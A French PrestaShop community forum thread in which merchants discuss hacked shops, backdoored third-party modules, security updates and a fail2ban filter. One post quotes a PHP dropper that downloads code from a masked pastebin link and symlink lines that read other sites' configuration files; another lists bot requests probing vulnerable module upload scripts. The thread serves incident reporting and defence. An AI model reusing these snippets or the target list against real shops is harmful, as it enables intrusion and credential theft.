Edited August 1, 2016 by ritopina (see edit history)

[siriek]

Merci Ritopina, en gros j'hésite à lancer le script. Si j'ai bien compris, il ne fait que rajouter des fichiers index là ou il n'y en a pas, il ne modifie en aucun cas les fichiers index déjà existant?

[Olecorre]

Oui ne pas avoir d'index.php est un éléments aggravant le risque de sécurité. Cela divulgue la liste des fichiers d'un répertoire, mais aussi la date d'installation de tel ou tel modules ce qui réduit l'espace microtime,uniqid et rand pour les attaques brutes forces.

 

Sauf si lister les fichiers d'un dossier est interdit par le serveur non ?

[doekia]

Sauf si lister les fichiers d'un dossier est interdit par le serveur non ?

 

Absolument mais les hébergements mutus ont nativement presque tous l'option Indexes activée, d'où la nécessité de semer des index.php partout.

[doekia]

Merci Ritopina, en gros j'hésite à lancer le script. Si j'ai bien compris, il ne fait que rajouter des fichiers index là ou il n'y en a pas, il ne modifie en aucun cas les fichiers index déjà existant?

 

C'est exactement celà

[ritopina]

Concernant un dossier leurre ?

[doekia]

Concernant un dossier leurre ?

 

Pas sûr de comprendre, mais si c'est ce que je crois, c'est la même chose qu'une bouteille d'eau sucrée à la soiré barbecue ça ne fait pas fuir les mouches ou les guêpes. Tu te retrouve juste avec un gros truc bien ragoutant devant ton pif c'est tout.

[ritopina]

Lol .... OK

[siriek]

Bonjour à tous,

 

Juste un petit mot pour remercier deokia et son excellent script. Appliqué hier sur toutes les boutiques. Aucun problème, impeccable, des fichiers index ce sont semés là ou ils manquaient (et il en manquait une tonne), donc voilà si ça peut emm....der les hackers, encore merci et bon code...

[Preskaribou]

J'ai le fix pour attribute wizard pro

 

J'ai pas mal travaillé sur ce sujet la semaine passée

 

Si ca tente quelqu'un..

[bijouxbylola]

Bonjour,

 

Merci pour toutes ces infos.

 

Me concernant j'ai eu depuis le mois d'août trois attaques de piratage et aujourd'hui je me retrouve avec un nouveau problème

Des liens vers des pages extérieur de publicité point depuis mon site je n'arrive pas à solutionner cela.

 

En faisant un Google page speed inside le screenshot de mon site n'apparaît pas.

 

https://bijouxbylola.com/fr/

 

Merci pour votre aide.

[biwi.shop]

Salut

 a mon tour d avoir ete piraté  , dans la nuit de vendredi   a samedi  une page de phising ( pour un site alemand )  a ete crée sur mon site , l hebergeur a vite ete prvenu et a bloquer mon compe , il a trouver un dossier cuwke   dans mes modules  qu il a viré et transmis en zip.

 

Apparement c est le module :    https://addons.prestashop.com/fr/personnalisation-de-page/17952-configurateur-de-themes-avance-theme-maker.html    que j avais acheté il y a   un an qui est la cause de ce probleme  car en rapatriant mes fichiers du ftp a chez moi et apres un coup d avast il ma trouvé des php backdoor dans ce module :

 

http://image.noelshack.com/fichiers/2017/07/1487519847-sans-titre-3.jpg

 

En tout cas j'ai jamais ete prevenu qu il y avait un soucis de sécurité sur ce module ni meme qu une mise a jour s imposait ... 

[Eolia]

Avez-vous contacté Addons à ce sujet ?

[Soyons Solidaire]

Bonjour , Deux amis meme problème , module acheter chez le meme vendeur (non Français) Espionne ses clients et de plus ils les bloquent pour qu'ils ne puisse plus visite son site...? , on ma dit que ce voyou se trouve sur le forum...? 

Edited February 19, 2017 by Soyons zen (see edit history)

[Antoine F]

Bonjour,

@biwi.shop @Soyons zen : je viens de vous envoyer un message privé pour en savoir plus sur ce problème. J'ai également signalé le soucis à l'équipe Addons qui mène son enquête.

Merci pour votre retour !

[Eolia]

Bonjour,

@biwi.shop @Soyons zen : je viens de vous envoyer un message privé pour en savoir plus sur ce problème. J'ai également signalé le soucis à l'équipe Addons qui mène son enquête.

Merci pour votre retour !

Tiens, content de te voir de passage sur le forum français Antoine^^

 

Quand tu auras 2min, si tu peux voir avec les personnes responsables de votre réseau, il faudrait mettre un reverse et autoriser prestashop.com chez allionis, parce qu'à présent de plus en plus de gens ne reçoivent plus les notifs et réponses du forum.

Tous vos mails passent en spam ou sont carrément détruits avant réception (chez Orange notamment)

[Antoine F]

Hello Eolia,
J'ai remonté le soucis la semaine dernière, j'espère avoir des news rapidement à ce sujet !

[doekia]

Hello Eolia,

J'ai remonté le soucis la semaine dernière, j'espère avoir des news rapidement à ce sujet !

Tu as intérêt à avoir plus de pouvoir à faire bouger les choses Antoine que ton prédécesseur. J'ai reporté le problème dès l'ouverture du nouveau forum donc il y a ... ?3 ans? Les news ne sont jamais venues.

[biwi.shop]

Avez-vous contacté Addons à ce sujet ?

 

Pas encore j'ai contacté le createur du module la par mail car je vois qu il a fait une mise a jour sur la page add on  il y a 2 semaine :

 

Nouveautés de la version 1.1.6(06/02/2017)

• V.1.1.6: Increase security

En plus du coup sans ce module bien pratique je me retrouve avec le bootstrap de base ca fait drole

 

mp recu j'ai repondu

Edited February 20, 2017 by biwi.shop (see edit history)

[biwi.shop]

j ai eu une reponse de l auteur  :

 

Nous vous informons que vous venez de recevoir un nouveau message :

Bonjour,
Oui, vous avez été infecté et nous nous en excusons, vous auriez effectivement due faire la mise à jour dès réception de l'alerte.
Si vous avez été infecté, il est fortement recommandé de:
Supprimer ces fichiers.

Les seules manières sûres de revenir à un site sécurisé est de :

restaurer une sauvegarde récente (pré-hack) de tous vos fichiers.
repartir d'une base propre pour les fichiers : réinstaller les fichiers de l'archive PrestaShop.

En plus de nettoyer vos fichiers (ou en les remplaçant par une sauvegarde récente), ce que vous devez faire en cas d'infection confirmée est :

Changez votre mot de passe de back-office, et que d'autres comptes admin. Consultez la page des employés pour vérifier qu'aucun nouvel employé a été créé.

Changez votre mot de passe SQL.

Changez votre mot de passe FTP.

Changez vos identifiants et mots de passe pour vos modules bancaires / de paiement, si vous en utilisez (PayPal, Atos, PayBox, etc.).

Remplacez vos modules importants par leur toute dernière version téléchargée depuis Addons ou depuis le site du développeur originel.

Changez vos identifiants pour tous vos services tiers.

La dernière version qui est la 1.1.6 a été sécurisé avec l'aide de la personne chargée de la sécurité chez prestashop.
Cette mise à jour est bien entendu gratuite.
Cordialement,

 

j avais oublie de precisé que javais une version 1.6.9 mais javais mis le patch de securité qui etaitsorti il ya quelque mois

[coeos.pro]

 

 

Remplacez vos modules importants par leur toute dernière version téléchargée depuis Addons ou depuis le site du développeur originel.

 

je n'aurais pas mis ça en dernier...

[Eolia]

Mais c'est pas grave^^

 

Ils sont certifiés par Addons: Respect de la norme PSR2, pas de code malicieux, pas de lien vers le site de l'auteur

Ca peut être de grandes portes ouvertes, mais des portes certifiées

[doekia]

Mais bon je remets encore addons en cause qui aurait du prévenir tous ses clients d'une telle faille ! 

Tu peux d'autant que quand en Juin/Juillet sont apparu les 1ere attaques, l'absence totale de réponse adaptée de la team, m'avait poussé à alerter via le canal twitter. La réponse - 3 mois plus tard - a été de m'accuser de n'avoir pas respecté le "protocole", de troller, à la limite d'avoir aidé les hackers!!.

Bien sûr, de tous les mailing majeur de Prestashop, pendant, depuis, aucun n'a été fait pour alerter les utilisateurs de failles et attaques. A la place de nouveaux placard de "venez acheter des modules sur Addons, ils sont frais, venez vite vite. Avec des des spf/dkim/reverses au point d'ailleurs

[seb776]

Hello,

 

Pour ma part, j'ai contacté une fois prestashop pour alerter sur une faille de sécurité (un gouffre en fait !). Le thème a été retiré rapidement (une heure ou 2). A l'inverse il est resté dispo deux semaines sur themeforest.

 

Ceci dit, ça n'aurait jamais du passer la validation.

[biwi.shop]

Ce que je reproche surtout c est que j ai jamais ete prévenu , la faille est corrigé  mais j'ai vu dans l espace client de prestashop addon  un truc du genre " ne vous inquietez pas les correction de faille de securité sont gratuite "  bah le module a ete corrige mais ls acheteurs ont jamais ete prevenus ...

Et grace a cette faille jai trouvé un joli fichier php " normal " dans le dossier img de ce module qui dl des  code de pastebin et a tout une liste de code pour teste si c est joomla , presatashop word press etc ...

A noter que le fichier louche est apparu le 21 janvier , le pirate a donc attendu  quasi 1 mois pour dl son " module "  et lancer sa page de phising .

 

La mise a jour du module date de debut fevrier  ...J avais peu d addon ( que des officiel en plus )  mais ca m'encourage pas a en mettre plus :/

[Soyons Solidaire]

je n'aurais pas mis ça en dernier...

 

Je dis comme toi ,...

Edited February 22, 2017 by Soyons zen (see edit history)

[Vinum]

Bonjour,
Je suis le créateur du module Configurateur de thème avancé et je tiens dans un premier temps à m'excuser pour la faille de sécurité sur ce module ainsi que sur le module Css Magician.
Dès la découverte de la faille, prestashop addons en a été informé.
Les deux modules ont été immédiatement retirés de la vente.
Puis leur mise à jour de sécurité a été remise en téléchargement.
Normalement tous les acheteurs de ces deux modules ont été informés par email de la faille de sécurité et de la nécessité de faire la mise à jour.
Malheureusement, il peut arriver que des emails n'arrivent pas ou que l'acheteur ai changé d'email.
Je voulais communiquer sur cette faille sur le forum mais j'attendais que les mises à jour soient faites par les clients afin de ne pas informer des personnes malveillantes.
Je me tiens à votre disposition pour de plus amples renseignements.
Cordialement,

 

[Vinum]

En ce qui concerne mes deux modules: Configurateur de thème avancé et Css Magician

ils ne sont vendu que sur prestashop addons, mon site et prestatoolbox.

La mise à jour de sécurité  pour le module Configurateur de thème avancé a été validée le 27 janvier sur prestashop addons.
Il s’agissait de la version 1.1.5. La dernière version 1.1.6 corrige juste un bug si le https est activé.

La mise à jour de sécurité  pour le module Css Magician a été validée le 30 janvier sur prestashop addons.
Il s'agissait de la version 1.3.5. La dernière version 1.3.6 corrige juste un bug si le https est activé.
Cordialement,
 

[biwi.shop]

Normalement tous les acheteurs de ces deux modules ont été informés par email de la faille de sécurité et de la nécessité de faire la mise à jour.

Malheureusement, il peut arriver que des emails n'arrivent pas ou que l'acheteur ai changé d'email.

Je voulais communiquer sur cette faille sur le forum mais j'attendais que les mises à jour soient faites par les clients afin de ne pas informer des personnes malveillantes.

Je me tiens à votre disposition pour de plus amples renseignements.

Cordialement,

 

 

 

Non rien recu comme mail de prevention  :'( etrangement  un 1er fichier de piratage je pense j y connais rien est apparu  le 21 janvier sur mon ftp  ( j'ai dl un back up piratage phising )

 

ce php avec ce texte ( j'ai suprimer le lien pastebin vers lequel il renvoi en metttant des X  )  :

 

<?php

$data = file_get_contents('http://pastebin.com/xxxxxxxx');

$file = fopen('kntl.php', 'w');

fwrite($file, $data);

fclose($file);

echo "succes pakbos";

?>

 

 

le fameux fichier kntl est hyper long et a l'air d essayer chaque cms :

 

 un court bout :

 

@symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');

@symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');

@symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');

@symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');

@symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');

 

Par chance comme j'ai dit il ont rien effacé chez moi  c est juste  3 semaine apres que le hacker  a crée son module de phising qui  a ete vite reperer :/ reste que l hebergeur a fait la tete, google m a provisoirement declassé ( normal) et jai du faire intervenir quelqu un qui se connait en php et cms ( c est pas gratuit )

Edited February 23, 2017 by biwi.shop (see edit history)

[Vinum]

Dès la découverte de la faille, vous auriez dû me contacter.
Je serai bien entendu intervenu gratuitement.
Pour la non réception du message d'alerte, soit votre adresse email a changé soit le message a été considéré comme un spam.
J’espère que vous avez suivi les recommandations de mises à jour de votre site.
Voir le premier message de ce sujet.
Encore désolé pour cette faille.
Cordialement,
 

[Antoine F]

Bonjour,
J'ai ajouté les deux modules de Vinum dans mon post (ainsi que les thèmes Fieldthemes). Si vous voyez d'autres modules et thèmes concernés, n'hésitez pas à les ajouter.

[Antoine F]

Bonjour Okom3pom,

 

Je suis 100% d'accord avec toi sur ce point. J'aurai vraiment souhaité communiquer sur les réseaux sociaux à ce sujet mais cela n'a pas été approuvé (j'ai push l'idée pas mal de fois sans succès).

 

Le soucis des notifications du forum est connu mais l'équipe webmarketing est actuellement très occupée. Un ticket a été créé à ce sujet.

[doekia]

Tout frais d'il y a 2 jours, la liste des failles que les bots des hacker tentent:

77.68.13.145 - - [15/Mar/2017:03:07:54 +0100] "POST //modules/columnadverts//uploadimage.php HTTP/1.1" 301 267 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:55 +0100] "POST //modules/soopamobile//uploadimage.php HTTP/1.1" 301 265 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:55 +0100] "POST //modules/soopabanners//uploadimage.php HTTP/1.1" 301 266 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:56 +0100] "POST //modules/vtermslideshow//uploadimage.php HTTP/1.1" 301 268 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:57 +0100] "POST //modules/simpleslideshow//uploadimage.php HTTP/1.1" 301 269 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:57 +0100] "POST //modules/productpageadverts//uploadimage.php HTTP/1.1" 301 272 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:58 +0100] "POST //modules/homepageadvertise//uploadimage.php HTTP/1.1" 301 271 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:58 +0100] "POST //modules/homepageadvertise2//uploadimage.php HTTP/1.1" 301 272 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:59 +0100] "POST //modules/jro_homepageadvertise//uploadimage.php HTTP/1.1" 301 275 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:07:59 +0100] "POST //modules/attributewizardpro//file_upload.php HTTP/1.1" 301 272 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:08:00 +0100] "POST //modules/1attributewizardpro/file_upload.php HTTP/1.1" 301 272 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:08:00 +0100] "POST //modules/attributewizardpro.OLD//file_upload.php HTTP/1.1" 301 276 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:08:00 +0100] "POST //modules/attributewizardpro_x//file_upload.php HTTP/1.1" 301 274 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:08:00 +0100] "POST //modules//advancedslider/ajax_advancedsliderUpload.php?action=submitUploadImage%26id_slide=php HTTP/1.1" 301 364 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:08:00 +0100] "POST //modules/cartabandonmentpro/upload.php HTTP/1.1" 301 266 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:08:01 +0100] "POST //modules/cartabandonmentproOld/upload.php HTTP/1.1" 301 269 "-" "curl/7.49.1"
77.68.13.145 - - [15/Mar/2017:03:08:01 +0100] "POST //modules//videostab/ajax_videostab.php?action=submitUploadVideo%26id_product=upload HTTP/1.1" 301 358 "-" "curl/7.49.1"

[doekia]

J'aurai vraiment souhaité communiquer sur les réseaux sociaux à ce sujet mais cela n'a pas été approuvé (j'ai push l'idée pas mal de fois sans succès).

Grâce à cette politique criminelle, un an plus tard c'est toujours des attaques qui réussissent.

 

Le soucis des notifications du forum est connu mais l'équipe webmarketing est actuellement très occupée. Un ticket a été créé à ce sujet.

Après ... 4 ans ils n'ont pas trouvé un moment - Je n'arrive pas à imaginer que tu puisse répondre ça sans rire

[Mediacom87]

La direction préfère communiquer sur une solution inutilisable que sur les failles de certains modules.

 

PrestaShop meure de sa belle mort en ayant cette attitude.

 

Des salariés désespérés, une communauté aux abois, un produit qui régresse entre les versions et addons qui semble être le seul produit important.

 

Tous les ingrédients sont là pour faire mourir la meilleure solution ecommerce du marché.

 

Nous savons tous que le soucis se trouve au niveau de la direction de PrestaShop et que ses salariés dans sa grande majorité essaye de survivre avec ses décisions absurdes.

 

Courage à ceux qui souhaitent encore se battre pour que le projet survive à ce naufrage engagé depuis des années. Si un jour une solution aussi complète que PrestaShop apparait, nous irons tous,; je dit bien tous, vers celle-ci. La direction a juste de la chance.

[doekia]

Probablement que cette réponse ne sera pas vu par beaucoup de monde puisque les notifications forum sont en panne depuis 2 semaines et ce pour une durée inconnue, mais au cas où...
 
J'ai écris un petit filtre fail2ban pour bloquer les hack scan prestashop, le voici ici https://area51.enter-solutions.com/snippets/81
Pensez à m'offrir un café

[Soyons Solidaire]

Salut , Merci, dans quelle fichier il faut le mettre ? Le café avec ou sans sucre

Edited October 22, 2017 by Soyons zen (see edit history)

[doekia]

Ce fichier est un filtre fail2ban, il faut donc le déposer dans /etc/fail2ban/filter.d et ensuite créer une "jail" l'utilisant.

Genre dans jail.local

[prestashop-hack]
 maxretry = 0
 enabled  = true
 logpath = /var/log/apache*/*access.log
        /var/log/ispconfig/httpd/*/*-access.log
 filter   = prestashop-hack
 action   = iptables-allports[name=prestashop]
 findtime = 86400
 bantime  = 604800

Mais avant de déployer un truc, il faut un peu le lire, et si il y a des commentaires dedans, c'est souvent pour expliquer ce que ça fait et ce qu'il faut faire.

Ceci pour dire toute la marche à suivre est dans le fichier lui-même en commentaire, pour le café ce sera donc double sucre, double crème, en cliquant 2 fois sur le bouton

[Soyons Solidaire]

ok merci doekia  

[stephane85]

On 7/22/2016 at 7:58 PM, Antoine F said:

Lesley Paone, membre de la communauté (de Dh42), a publié son propre article, qui comprend un script correctif pour vous aider à nettoyer votre installation (et cet article pour ensuite vous protéger).

Attention à ce site dh42.com !!!! ils distribuent des modules gratuits qui injectent des crypto-malware dans votre backoffice !!!!

Pour preuve: téléchargez leur module fbtrackingpixel et installez-le !!!

Ou regardez simplement ce que fait la fonction "hookBackOfficeHeader" !! cette fonction affiche le template "free.tpl" qui injecte un code malicieux dans votre navigateur !!

Module gratuit !! qui se paye tout seul en faisant faire du minage à votre PC !!

[Eolia]

Lol

 

Ce module est bien merdique mais en aucun cas Prestashop n'est concerné par une faille de sécurité à ce niveau^^

N'importe quel logiciel gratuit s'infiltre dans votre PC

 

Si c'est gratuit, c'est que c'est vous le client^^

[Dh42]

Correct, we are trying this out as a way to supplement our free modules since we have the largest selection of free modules outside of the official addons store. We will be removing it shortly as it is not working out. 

[Jovicyr]

1 hour ago, Eolia said:

Si c'est gratuit, c'est que c'est vous le client^^

N'est-ce pas plutôt :

"Si c'est gratuit, le produit, c'est vous" ;-)

[doekia]

@dh42,

I feel it pretty awkward however that you implement such mechanism (for good reason or not) without mentioning it and getting end user consent.

A not so large (24) list of free modules is no excuse to hijack users PC. IMHO

 

[Dh42]

I think I mentioned to the first guy, Stephane, it was in our terms and conditions on our site. It was just something I was exploring, it did not work. In all over the week and a half it was live we made an astounding $7.20. We had it in 4 modules to test it out and they have all since been rebuilt and replaced, so if you download the module again it will be a clean version. You will need to delete the module in the back of your shop first, because the module installation will not unhook / delete the added files automatically as per how prestashop module updates work.